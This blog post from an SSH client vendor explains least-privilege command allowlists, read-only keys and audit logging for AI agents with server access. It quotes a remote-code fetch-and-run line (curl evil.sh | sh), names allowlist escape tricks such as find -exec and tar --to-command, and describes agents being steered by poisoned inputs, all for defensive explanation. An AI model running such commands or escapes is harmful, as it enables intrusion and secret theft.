termal.in

← Blog

Per-host command allowlists: least-privilege SSH for AI agents

· Termalin team ai-agentssshsecuritymcptutorial

There are two separate questions in giving an AI agent access to a server, and most setups only answer the first. The first is who holds the credential — and getting the key out of the agent’s hands, into a custodian that signs on its behalf, is a real and necessary win. But it leaves the second question wide open: what can the agent do once it’s connected? A custodian that hands an agent an unrestricted shell has solved key custody and nothing else. A steered agent doesn’t need your key when ssh_exec("curl evil.sh | sh") is on the menu.

Least-privilege is the answer to the second question. In Termalin it’s a per-host setting, and this is how to use it well.

Custody bounds the credential; policy bounds the blast radius

Recall the blast-radius ranking: pasting a key is the worst arrangement, a custodian with per-host policy is the best. The jump from “custodian” to “custodian with policy” is exactly this feature. Without it, compromising the agent’s context gives an attacker a full shell on every host the custodian can reach. With it, what they get is the ability to request the specific commands you allowed, on the specific hosts you listed — requests that show up in a live view and an audit log as they happen.

The MCP explainer makes the case that “who holds the credential” is the load-bearing question. Command policy is the second load-bearing question, and the two together are what make agent access something you can actually leave running.

The three levels

In Termalin, every host you expose to agents carries an agent policy, set in Settings → MCP or on the host’s own form. It’s one of three levels:

  • Full — the agent gets a normal shell on that host. Correct for a scratch VM you don’t care about; the wrong default for anything else, because “full” on production simply recreates the unrestricted-shell problem for that one box.
  • Allowlist — the agent may run only the commands you name; everything else is refused before it executes. This is the level you want for anything that matters.
  • Blocked — the host is off-limits to agents entirely, even though it’s in your hosts list for your own use. Useful when you want an agent to see some of your fleet but never touch a specific machine.

The default posture is conservative: agent access is off until you turn it on, only the hosts you tick are reachable at all, and a blocked host stays blocked. You widen from there deliberately, not the other way around.

Writing a good allowlist

An allowlist is only as good as the list. A few principles that save you from writing one that looks tight but isn’t:

Start from the task, not the toolbox. Don’t list every command the agent might find handy. List the ones the job in front of you actually needs. A deploy agent needs its release command, maybe systemctl for the service and git for the pull — not bash, not sh, not a package manager. A monitoring agent needs systemctl status, journalctl, df, free — and nothing that writes.

Watch for commands that are shells in disguise. find … -exec, awk 'system(...)', git with hooks, an editor with shell escape, tar --to-command, any interpreter (python, perl, node) — each turns a single allowlisted entry into arbitrary execution. If the task doesn’t need them, leave them off; if it does, that host is closer to “full” than the list suggests, so treat it that way.

Reads leak too. This is the limit worth internalizing: an allowlist bounds actions, not the information in their output. If cat is allowed, cat .env returns your secrets into the agent’s context, and from there they can travel wherever the model’s output goes. Write the list with reads in mind, not just writes — and fix secrets-on-disk as its own problem. A policy is a boundary on what the agent can do, not a guarantee about what it can learn.

The read-only shortcut

For the common “let the agent look, not touch” case, you don’t have to enumerate commands by hand. When an agent reaches your servers through the hosted endpoint with an API key, the key itself carries a command policy — full, an allowlist, or read-only — alongside its server scope and expiry. A read-only key is the fastest way to stand up a safe observer: health checks, log tails, “is the migration done yet?” jobs that can see everything and change nothing. It’s the right default for the CI and cloud-agent pattern, where you want a token that does one narrow job and dies on a schedule.

Policy is enforced, then recorded

Two things happen to a command the policy forbids, and both matter. First, it’s refused before it runs — the enforcement is at the point the agent asks, not a suggestion the agent is trusted to honor. Second, the attempt is visible: sessions an agent drives glow in the watch grid, and every command it issues — allowed or refused — is marked as the agent’s in the audit log, with the host, device and IP. So a policy isn’t just a wall; it’s a wall with a camera on it. A steered agent that keeps probing the edges of its allowlist is something you’ll see, not something you’ll reconstruct later.

A recipe to copy

A sensible starting arrangement for a mixed fleet:

  • Production hosts → allowlist, scoped to the exact commands your runbook uses. Or, if the only agent work there is observation, a read-only hosted key.
  • Staging → allowlist too, a bit wider, since it’s where you let an agent iterate.
  • A scratch VM → full, so the agent has room to experiment somewhere a mistake costs nothing.
  • The one box you’ll never let an agent near → blocked, even though you use it yourself.

Then point your agent at it — Claude Code, Codex, Gemini, Cursor, whatever you run. The agent gets real, useful reach; a bad instruction or a poisoned tool result runs into a wall you built, in full view, instead of into your fleet.


Termalin is a free, cross-platform SSH client with a built-in MCP server, a key custodian and per-host agent policy — download it, or read the security model.

Try it on one host.

Termalin is a fast SSH client for you — and your agents.

Free tier · 14-day Pro trial · pricing